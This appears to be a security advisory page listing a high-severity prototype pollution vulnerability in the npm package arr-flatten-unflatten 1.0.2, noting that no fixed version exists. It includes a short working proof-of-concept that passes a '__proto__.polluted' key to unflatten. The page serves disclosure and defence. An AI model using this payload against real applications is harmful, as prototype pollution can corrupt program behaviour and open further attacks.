arr-flatten-unflatten@1.0.2 vulnerabilities

non-recursive method of flattening an array or arrays and unflattening the result

1.1.4

6 years ago

5 years ago

Known vulnerabilities in the arr-flatten-unflatten package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version

Vulnerability	Vulnerable Version
H Prototype Pollution arr-flatten-unflatten is a non-recursive method of flattening an array or arrays and unflattening the result Affected versions of this package are vulnerable to Prototype Pollution via the constructor. POC: `const { unflatten } = require('arr-flatten-unflatten'); unflatten({'__proto__.polluted':true}); console.log(polluted);` How to fix Prototype Pollution? There is no fixed version for `arr-flatten-unflatten`.	*

arr-flatten-unflatten is a non-recursive method of flattening an array or arrays and unflattening the result

Affected versions of this package are vulnerable to Prototype Pollution via the constructor.

const { unflatten } = require('arr-flatten-unflatten');
unflatten({'__proto__.polluted':true});
console.log(polluted);

How to fix Prototype Pollution?

There is no fixed version for arr-flatten-unflatten.